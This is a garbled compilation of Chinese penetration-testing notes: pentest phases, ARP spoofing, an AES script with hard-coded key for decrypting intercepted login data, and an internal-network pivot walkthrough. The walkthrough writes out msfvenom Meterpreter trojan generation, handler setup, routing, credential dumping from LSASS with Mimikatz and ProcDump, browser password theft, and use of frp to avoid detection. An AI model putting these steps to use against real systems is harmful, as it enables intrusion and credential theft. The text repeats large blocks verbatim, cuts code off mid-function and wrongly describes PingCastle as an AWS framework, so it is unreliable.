PingCastle:PingCastle 是 Amazon Web Services (AWS) 的渗透测试框架。它提供了一个易于使用的界面来创建和执行渗透测试,涵盖了各种攻击媒介和技术
Metasploit是一种流行的开源渗透测试和利用框架,具有可扩展的模块框架,可提供后利用功能。渗透测试人员和红队成员使用它来识别漏洞、利用漏洞并保持对受感染系统的访问
阶段渗透测试
1.范围确定和规划:定义渗透测试的目标及其执行的时间计划。
2.侦察:首次检索有关范围内的组织和系统的信息,通常基于公共数据。
3.扫描:根据侦察收集的信息,使用一些扫描仪来搜索详细信息并发现漏洞。
4.获取和提升访问权限:尝试利用检测到的漏洞访问系统,一旦进入系统,便可获得尽可能多的特权。
5.保持访问权限:在功能中保持对目标系统的访问开放。这意味着要抹去痕迹,这样未经授权的访问就不会被检测到。
6.记录结果:渗透测试的发现必须妥善记录,以便客户了解问题。它不仅应该揭示漏洞,还应解决解决方案并包括提高安全性的建议。渗透测试报告通常包含一项行动计划,该计划稍后会进行跟踪,甚至在一定时间后进行验证。
并非所有渗透测试都会通过所有阶段:在定义的范围内,可能无法获得访问权限,因此会跳过第 4 和第 5 阶段。由于每个阶段都基于前一个阶段的结果,因此第一步非常重要。
范围界定是该过程中的关键,因为它决定了测试的扩展范围以及界定责任,并从法律上保护客户和黑客。侦察和扫描受商定范围的制约,而获取访问权限也非常依赖于时间范围,因为许多工具和程序都需要花费大量时间(例如,对于暴力攻击,时间越长越好)
1.范围确定和规划:定义渗透测试的目标及其执行的时间计划。
2.侦察:首次检索有关范围内的组织和系统的信息,通常基于公共数据。
3.扫描:根据侦察收集的信息,使用一些扫描仪来搜索详细信息并发现漏洞。
4.获取和提升访问权限:尝试利用检测到的漏洞访问系统,一旦进入系统,便可获得尽可能多的特权。
5.保持访问权限:在功能中保持对目标系统的访问开放。这意味着要抹去痕迹,这样未经授权的访问就不会被检测到。
6.记录结果:渗透测试的发现必须妥善记录,以便客户了解问题。它不仅应该揭示漏洞,还应解决解决方案并包括提高安全性的建议。渗透测试报告通常包含一项行动计划,该计划稍后会进行跟踪,甚至在一定时间后进行验证。
并非所有渗透测试都会通过所有阶段:在定义的范围内,可能无法获得访问权限,因此会跳过第 4 和第 5 阶段。由于每个阶段都基于前一个阶段的结果,因此第一步非常重要。
范围界定是该过程中的关键,因为它决定了测试的扩展范围以及界定责任,并从法律上保护客户和黑客。侦察和扫描受商定范围的制约,而获取访问权限也非常依赖于时间范围,因为许多工具和程序都需要花费大量时间(例如,对于暴力攻击,时间越长越好)
Metasploit开源渗透测试和利用框架,具有可扩展的模块框架,可提供后利用功能。渗透和红队成员识别漏洞、利用漏洞并保持对受感染系统的访问
渗透阶段安装了 Mimikatz 和 ProcDump,并使用 ProcDump 工具转储 LSASS 进程的内存以劫持受感染系统的凭据
窃取 NirSoft 的 WebBrowserPassView 和网络浏览器信息
可以提取并显示保存在 Google Chrome、Firefox 和 Internet Explorer 中的帐户和历史记录信息
窃取 NirSoft 的 WebBrowserPassView 和网络浏览器信息
可以提取并显示保存在 Google Chrome、Firefox 和 Internet Explorer 中的帐户和历史记录信息
内网渗透之中间人欺骗攻击
ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗
ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗
从数据包可以看出来,对登录的手机号进行了加密。我们到浏览器找一下使用的加密算法
通过关键词搜索直接定位到其代码逻辑
可以编写编写一个加解密的代码:
from Crypto.Cipher import AES
import base64
def aes_encrypt(plaintext, key, iv):
# 将明文转换为字节串
plaintext = plaintext.encode('utf-8')
# 创建AES加密对象,使用CBC模式
cipher = AES.new(key, AES.MODE_CBC, iv)
# 计算需要填充的字节数
padding_length = AES.block_size - len(plaintext) % AES.block_size
# 进行填充
padding = bytes([padding_length] * padding_length)
plaintext = plaintext + padding
# 进行加密
ciphertext = cipher.encrypt(plaintext)
# 将加密结果进行base64编码并返回
return base64.b64encode(ciphertext).decode('utf-8')
def aes_encrypt2(plaintext):
key = b'60427a4badf685bd'
iv = b'0c67da205a1f6f57'
return aes_encrypt(plaintext, key, iv)
def aes_decrypt(ciphertext, key, iv):
# 对密文进行base64解码
ciphertext = base64.b64decode(ciphertext)
# 创建AES解密对象
通过关键词搜索直接定位到其代码逻辑
可以编写编写一个加解密的代码:
from Crypto.Cipher import AES
import base64
def aes_encrypt(plaintext, key, iv):
# 将明文转换为字节串
plaintext = plaintext.encode('utf-8')
# 创建AES加密对象,使用CBC模式
cipher = AES.new(key, AES.MODE_CBC, iv)
# 计算需要填充的字节数
padding_length = AES.block_size - len(plaintext) % AES.block_size
# 进行填充
padding = bytes([padding_length] * padding_length)
plaintext = plaintext + padding
# 进行加密
ciphertext = cipher.encrypt(plaintext)
# 将加密结果进行base64编码并返回
return base64.b64encode(ciphertext).decode('utf-8')
def aes_encrypt2(plaintext):
key = b'60427a4badf685bd'
iv = b'0c67da205a1f6f57'
return aes_encrypt(plaintext, key, iv)
def aes_decrypt(ciphertext, key, iv):
# 对密文进行base64解码
ciphertext = base64.b64decode(ciphertext)
# 创建AES解密对象
❤1
二层内网渗透(bind)
生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描
如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信
lcx被检测概率太大,用frp
生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描
如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信
lcx被检测概率太大,用frp